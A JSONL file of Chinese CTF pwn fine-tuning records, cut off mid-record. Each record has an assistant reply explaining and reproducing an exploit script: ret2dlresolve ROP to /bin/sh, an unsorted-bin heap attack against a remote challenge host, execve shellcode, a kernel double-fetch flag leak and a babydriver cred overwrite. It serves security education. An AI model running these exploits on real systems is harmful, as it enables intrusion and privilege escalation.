{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f416bd8c2ce2d2dedd2d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2024wdb/vir2/vir2_start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2024wdb/vir2/vir2_start.sh`\n\n分类：kernel\n\n语言：bash\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```bash\n#!/bin/bash\n\nexec qemu-system-x86_64 \\\n\t-m 64M \\\n\t-kernel ./bzImage \\\n\t-initrd ./vir2_rootfs.cpio \\\n\t-append \"console=ttyS0 kaslr quiet pti=off\" \\\n\t-cpu kvm64,+smap,smep\\\n\t-smp cores=1,threads=1 \\\n\t-nographic \\\n\t-no-reboot\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-c89f42b7229c5f05", "original_line": 285, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2024wdb/vir2/vir2_start.sh", "split": "train", "split_group_key": "d55f01125ecb35ba22f148e7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2024wdb/vir2/vir2_start.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f4213f0d0a73fc624004", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2dlresolve/dl_resolve_64/64位/stage6_libc1_64.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2dlresolve/dl_resolve_64/64位/stage6_libc1_64.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `makecall`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x112`, `0x800`, `0x20740`, `0x6E406`, `0x8eb46`, `0x3c5720`, `0x4002c0`, `0x400398`, `0x400470`, `0x400510`, `0x4005e0`, `0x400676`, `0x4006ab`, `0x400790`, `0x4007AA`\n\n训练用代码片段：\n```python\n#!/usr/bin/python\n#coding:utf-8\nfrom pwn import *\n\n#需修改:文件名、溢出偏移、gadget地址、各节地址\nfpath = './bof'\noffset = 112\nlength = 0x100\nstack_size = 0x800\nmain_addr=0x400676\np6_addr=0x4007AA\ncall_addr=0x400790\nleave_ret=0x4006ab\np_rbp_ret=0x4005e0\np_rdi_ret=0x4007b3\n\nelf = ELF(fpath)\nwrite_got=elf.got['write']\nread_got=elf.got['read']\nread_plt = elf.plt['read']\nwrite_plt = elf.plt['write']\ngot_8=elf.get_section_by_name('.got.plt').header.sh_addr+8   #0x601008\nbss_addr =elf.get_section_by_name('.bss').header.sh_addr\nbase_stage = bss_addr + stack_size\n#print 'got_8=',hex(got_8)\n\n#x/100xw  GOT[8]\nfake_link_map=elf.got['__libc_start_main']    #change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\nfake_st_value=0x8eb46-0x20740\nfake_r_offset=0x3c5720-0x20740    #这里是为了使l_addr+r_offset指向可写的地址\nval_0x68=0x600ea8\nval_0x70=0x600eb8\nval_0xf8=0x600f28\nwait_time=0.1\n\ndef makecall(addr, rdi, rsi, rdx, tail = 0):\n    payload = ''\n    payload += p64(p6_addr)\n    payload += p64(0x0)\n    payload += p64(0x1)\n    payload += p64(addr)\n    payload += p64(rdx)\n    payload += p64(rsi)\n    payload += p64(rdi)\n    payload += p64(call_addr)\n    if (tail):\n        payload += p64(0x0) * 7 + p64(tail)\n    return payload\n\np = process(fpath)\nprint p.recv()        # 'Welcome to XDCTF2015~!\\n'\n\n#1.往fake_link_map+0x68写值\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,fake_link_map+0x68,16,tail=main_addr)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\nsleep(wait_time)\np.send(p64(val_0x68)+p64(val_0x70))\n\n#2.往fake_link_map+0xf8写值\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,fake_link_map+0xf8,8,tail=main_addr)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\nsleep(wait_time)\np.send(p64(val_0xf8))\n\n#3.往base_stage写入伪造结构并跳过去\npayload='\\x00'*offset\npayload+='\\x00'*8\npayload+=makecall(read_got,0,base_stage,0xd0,tail=0)   #假设结构大小是400\npayload+=p64(0)*2+p64(base_stage)+p64(0)*4\npayload+=p64(leave_ret)\npayload=payload.ljust(0x100,'\\x00')\np.send(payload)\n\n\n#4.bss数据：rop-参数放在寄存器/ 伪造结构\n#(1)确定各个节的地址\ncmd = \"/bin/sh\"\nplt_0 = 0x400510 # objdump -d -j .plt bof\nplt_1 = plt_0+6\nrel_plt = 0x400470 # objdump -s -j .rela.plt bof\nwrite_got = elf.got['write']\ndynsym = 0x4002c0 #readelf -S bof\ndynstr = 0x400398\n#(2)确定重定位下标\nindex_offset = base_stage + 7*8\nalign = 24 - ((index_offset-rel_plt) % 24)  # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小\nindex_offset = index_offset + align\nindex = (index_offset - rel_plt) / 24 # base_stage + 7*8 指向fake_reloc，减去rel_plt即偏移\n#(3)确定动态链接符号下标\nfake_sym_addr = base_stage + 13*8\nalign = 24 - ((fake_sym_addr - dynsym) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小\nfake_sym_addr = fake_sym_addr + align\nindex_dynsym = (fake_sym_addr - dynsym) / 24 # 除以24因为Elf64_Sym结构体的大小为24，得到write的dynsym索引号\n#(4)伪造重定位结构+动态链接结构\nr_info = (index_dynsym << 32) | 0x7\nfake_reloc = p64(fake_r_offset) + p64(r_info) + p64(0)\nst_name = (fake_sym_addr + 24) - dynstr   #fake_sym（Elf32_Sym结构体）大小0x10\nfake_sym = p32(st_name) + p32(0x112) + p64(fake_st_value) + p64(0)\n\npayload2 = 'AAAAAAAA'\npayload2 += p64(p_rdi_ret)\npayload2 += p64(base_stage+0xc0)   #/bin/sh\npayload2 += p64(plt_1)\npayload2 += p64(fake_link_map)   #\npayload2 += p64(index)       #jmprel 下标参数\npayload2 += 'AAAAAAAA'       #返回地址\n#payload2 += 'aaaaaaaa'\n\npayload2 = payload2.ljust(index_offset-base_stage,'B')\npayload2 += fake_reloc # index_offset(base_stage+7*8)的位置\npayload2 = payload2.ljust(fake_sym_addr-base_stage,'B')\npayload2 += fake_sym   # fake_sym_addr(base_stage+9*8)的位置\n\npayload2 += \"system\\x00\"\npayload2 = payload2.ljust(0xc0,'\\x00')\npayload2 += cmd + '\\x00'\npayload2 = payload2.ljust(0xd0,'\\x00')\n\ngdb.attach(p,'b *0x4006ab')\nraw_input('wait!!\\n')\np.send(payload2)\np.interactive()\n\n#目标：0x8eb46 : cmp byte ptr [rax], dl ; ret\n#>>> hex(elf.symbols['__libc_start_main'])\n#'0x20740'\n#0x8eb46-0x20740=0x6E406\n\n#lib_bss_addr=0x3c5720\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-b415f9a86c8f0906", "original_line": 537, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/64位/stage6_libc1_64.py", "split": "train", "split_group_key": "09fda3ac2cafb30e2680a533"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2dlresolve/dl_resolve_64/64位/stage6_libc1_64.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f44e2e60201a7cb8ae6b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/整数溢出/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/整数溢出/exp_cli.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n函数/封装：\n- `csu`\n\n利用主题关键词：\n- stack/rop\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\nr()\ns(asm(\"cmp al,al\"))\n\nia()\n\ndef csu(addr, edi, rsi, rdx, last, gadget1, gadget2, off):\n    # 用于溢出的padding\n    payload = off * b'a'\n    # gadget1\n    payload += p64(gadget1)\n    # rbx=0, rbp=1\n    payload += p64(0) + p64(1)\n    # 设置 r12 寄存器地址，即 call 调用的地址\n    payload += p64(addr)\n    # 参数3、参数2、参数1\n    # r13, r14, r15\n    payload += p64(rdx) + p64(rsi) + p64(edi)\n    # gadget2\n    payload += p64(gadget2)\n    # pop 出来的 padding\n    payload += b'a' * 56\n    # 函数最后的返回地址\n    payload += p64(last)\n    return payload\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-a29db089307e1d51", "original_line": 444, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/exp_cli.py", "split": "train", "split_group_key": "1dcf4b6443899d866df2853e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f455341e687507abacfc", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2shellcode/shellcode_limit/shellcode.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2shellcode/shellcode_limit/shellcode.c`\n\n分类：stack\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```c\n#include \n\nint main()\n{\n   unsigned char shellcode[] = \"\\x31\\xf6\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x53\\x54\\x5f\\xb0\\x3b\\x99\\x0f\\x05\";\n   void (*run)()=(void(*)()) shellcode;\n   run();\n   return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-dafff481d79a5409", "original_line": 554, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/shellcode_limit/shellcode.c", "split": "train", "split_group_key": "15a3c5f51cc53e9a7397ded1"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/shellcode_limit/shellcode.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f4a8de3f75e50defa8b0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Heap/unsortedbin attack/hitcontraining_magicheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Heap/unsortedbin attack/hitcontraining_magicheap/exp.py`\n\n分类：heap\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `add`\n- `dbg`\n- `dele`\n- `edit_heap`\n\n利用主题关键词：\n- heap/tcache\n\n关键常量/偏移样例：\n`0x6020a0`, `0x55555afaf000`, `0x55555afaf010`, `0x55555afaf020`, `0x55555afaf030`, `0x55555afaf040`, `0x55555afaf050`, `0x55555afaf060`, `0x55555afaf070`, `0x55555afaf080`, `0x55555afaf090`, `0x55555afaf0a0`, `0x55555afaf0b0`, `0x55555afaf0c0`, `0x55555afaf0d0`, `0x55555afaf0e0`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('magicheap')\nlibc = ELF('./libc-2.23.so')\n#io = process(['./ld-2.23.so',elf.path], env = {'LD_PRELOAD' : libc.path})\nio=remote(\"node5.buuoj.cn\",25559)\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef add(size, content):\n    ru(\":\")\n    sl(\"1\")\n    ru(\":\")\n    sl(str(size))\n    ru(\":\")\n    sl(content)\n\ndef edit_heap(idx, size, content):\n    ru(\":\")\n    sl(\"2\")\n    ru(\":\")\n    sl(str(idx))\n    ru(\":\")\n    sl(str(size))\n    ru(\":\")\n    sl(content)\n\ndef dele(idx):\n    ru(\":\")\n    sl(\"3\")\n    ru(\":\")\n    sl(str(idx))\n\n#dbg()\n\nadd(0x20,\"aaaa\") #0\nadd(0x80,\"bbbb\") #1\n\nadd(0x20,\"cccc\") #2\n\ndele(1)#free掉1\n\nmagic = 0x6020a0\nfd = 0\nbk = magic - 0x10\n\n#写chunk0溢出到chunk1,写chunk1的bk指向magic\n#将chunk1的size字段写回去，然后写fd为0，bk为magic-0x10\n#magic-0x10是因为我们要将其伪造成fake_chunk，即magic-0x10为size字段，magic为data区域\nedit_heap(0, 0x40, b\"a\" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))\n\"\"\"\n0x55555afaf000  0x0000000000000000      0x0000000000000031      ........1.......\n0x55555afaf010  0x0000000a61616161      0x0000000000000000      aaaa............\n0x55555afaf020  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf030  0x0000000000000000      0x0000000000000091      ................         <-- unsortedbin[all][0]\n0x55555afaf040  0x00007f1dbefd7b78      0x00007f1dbefd7b78      x{......x{......\n0x55555afaf050  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf060  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf070  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf080  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf090  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf0a0  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf0b0  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf0c0  0x0000000000000090      0x0000000000000030      ........0.......\n0x55555afaf0d0  0x0000000a63636363      0x0000000000000000      cccc............\n0x55555afaf0e0  0x0000000000000000      0x0000000000000000      ................\n0x55555afaf0f0  0x0000000000000000      0x0000000000020f11      ................         <-- Top chunk\n\"\"\"\n#创建一个和chunk1相同大小的chunk将，就可以修改fake_chunk的fd指针，即magic变量中的数值：\nadd(0x80, \"dada\")  #trigger unsorted bin attack\n#dbg()\n\nru(\":\")\ns(b\"4869\")\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-60a81efceb09d4ec", "original_line": 44, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/unsortedbin attack/hitcontraining_magicheap/exp.py", "split": "train", "split_group_key": "762fae9b49f00bea0d06b26e"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/unsortedbin attack/hitcontraining_magicheap/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f51b779418d6ac80e70c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2text/read_sh/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2text/read_sh/exp_cli.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x80483d0`, `0x0804A080`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nr()\n\nsl(b\"/bin/sh\")\n\n#sh字符串的地址为bss段的地址\nsh=0x0804A080\n\npayload=b'a'*(28+4)+p32(0x80483d0)+p32(0)+p32(sh)\n\nr()\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-a254891442af04e8", "original_line": 561, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2text/read_sh/exp_cli.py", "split": "train", "split_group_key": "3fb44a6c58e57737ca0ba2ea"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2text/read_sh/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f5422ec68416e5695a65", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「题目信息」。\n资料来源：IO-FILE/house of cat/强网杯2022houseofcat/WP.md；主题：强网杯 2022 houseofcat WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 题目信息\n\n```text\nArch: amd64\nRELRO: Full RELRO\nCanary: enabled\nNX: enabled\nPIE: enabled\nSHSTK/IBT: enabled\nlibc: glibc 2.35\n```\n\n题目开启 seccomp，不能直接 `system(\"/bin/sh\")`，利用目标应转为 ORW：`open(\"flag\") -> read -> write`。\n\n本地运行建议使用 2.35 loader 加载当前目录随题 `libc.so.6`：\n\n```bash\n/tools/binary/glibc-all-in-one/libs/2.35/64/ld-linux-x86-64.so.2 --library-path . ./houseofcat\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 34, "ctf_task_type": "pwn", "original_id": "pwn101-doc-e0ea27fc19afe3cd", "original_line": 227, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "split_group_key": "578233bae2b6c983d51c12ff"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f5785b99f2a710c2d6b4", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/rip/RopUtils.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/rip/RopUtils.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x8000`\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n#include \n#include \n\n/**\n * @defgroup rip_classes RIP Classes\n * @brief Classes related to Return-Oriented Programming (ROP) utilities.\n */\n\n/**\n * @ingroup rip_classes\n * @class RopUtils\n * @brief Utility functions for ROP chain generation.\n */\nclass RopUtils {\npublic:\n    /**\n     * @brief Generates a ROP chain to return to user space after a kernel exploit.\n     *\n     * This function sets up a fake user stack and uses the KPTI trampoline to transition back to user space.\n     * @param rop The RopChain object to add the return-to-user ROP action to.\n     * @param after_lpe_func The address of the function to execute in user space after returning from the kernel.\n     * @param stack_size The size of the fake user stack to allocate (default is 0x8000).\n     * @param redzone_size The size of the redzone at the end of the fake user stack (default is 0x100).\n     */\n static void Ret2Usr(RopChain& rop, void* after_lpe_func,\n                     size_t stack_size = 0x8000, size_t redzone_size = 0x100);\n};\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-aa955c2d3ea5fda5", "original_line": 307, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/rip/RopUtils.h", "split": "train", "split_group_key": "aa5be0f0a5aea5f7eb6badae"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/rip/RopUtils.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f579921a4a9005d5cfe3", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/0CTF2018-baby/exp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/0CTF2018-baby/exp.c`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n- kernel\n\n关键常量/偏移样例：\n`0x100`, `0x1000`, `0x1337`, `0x6666`\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\npthread_t compete_thread;\nvoid* real_addr;\nchar buf[0x20] = {0};\nint competetion_times = 0x1000, status = 1;\n\nstruct\n{\n    char* flag_addr;\n    int flag_len;\n} flag = {.flag_addr = buf, .flag_len = 33};\n\nvoid *competetionThread(void *arg)\n{\n    while (status)\n    {\n        for (int i = 0; i < competetion_times; i++)\n            flag.flag_addr = real_addr;\n    }\n    return NULL;\n}\n\nint main()\n{\n    int fd, result_fd, addr_fd;\n\n    char *temp, *flag_addr_addr;\n\n    fd = open(\"/dev/baby\", O_RDWR);\n    ioctl(fd, 0x6666);\n\n    system(\"dmesg | grep flag > addr\");\n\n    temp = (char*) malloc(0x1000);\n\n    addr_fd = open(\"./addr\", O_RDONLY);\n    temp[read(addr_fd, temp, 0x100)] = '\\0';\n\n    // 获取 \"Your flag is at XXXXX\" 中的地址部分\n    flag_addr_addr = strstr(temp, \"Your flag is at \") + strlen(\"Your flag is at \");\n\n    real_addr = (void *)strtoull(flag_addr_addr, NULL, 16);\n\n    pthread_create(&compete_thread, NULL, competetionThread, NULL);\n\n    while (status)\n    {\n        for (int i = 0; i < competetion_times; i++)\n        {\n            flag.flag_addr = buf;\n            ioctl(fd, 0x1337, &flag);\n        }\n\n        system(\"dmesg | grep flag > result\");\n\n        result_fd = open(\"./result\", O_RDONLY);\n        read(result_fd, temp, 0x1000);\n\n        if (strstr(temp, \"[FLAG_PREFIX]\"))\n            status = 0;\n    }\n\n    pthread_cancel(compete_thread);\n\n    printf(\"[+] competetion end!\\n\");\n    system(\"dmesg | grep flag\");\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-a6f755ed9fa081c3", "original_line": 278, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/0CTF2018-baby/exp.c", "split": "train", "split_group_key": "b266815a70c71b755d1d3d3f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/0CTF2018-baby/exp.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f606b783b10d570990e1", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「参考」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 参考\n\n> [RCTF 2019 pwn | X3h1n](https://x3h1n.github.io/2019/05/26/RCTF-2019-babyheap/)\n[[原创]Pwn堆利用学习——Off-By-One——Asis_2016_b00ks-Pwn-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-263680.htm#msg_header_h3_3)\n[[原创]Pwn堆利用学习——Fastbin-Arbitrary Alloc——0ctf2017-babyheap-Pwn-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-268200.htm)", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-66692bc5ccc976e5", "original_line": 82, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f6d13107748f1cfdc239", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/ciscn2017-babydriver/exp_cred.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/ciscn2017-babydriver/exp_cred.c`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `main`\n\n利用主题关键词：\n- seccomp/orw\n- kernel\n\n关键常量/偏移样例：\n`0x10001`\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nchar buf[0x40]={0};\n\nint main()\n{\n    //open两次设备\n    int fd1 = open(\"/dev/babydev\",2);\n    int fd2 = open(\"/dev/babydev\",2);\n\n    ioctl(fd1,0x10001,0xa8);    //cred结构体大小\n\n    close(fd1);\n\n    int pid = fork();\n\n    if(pid<0){\n        printf(\"fork error\\n\");\n    }else if(pid==0){           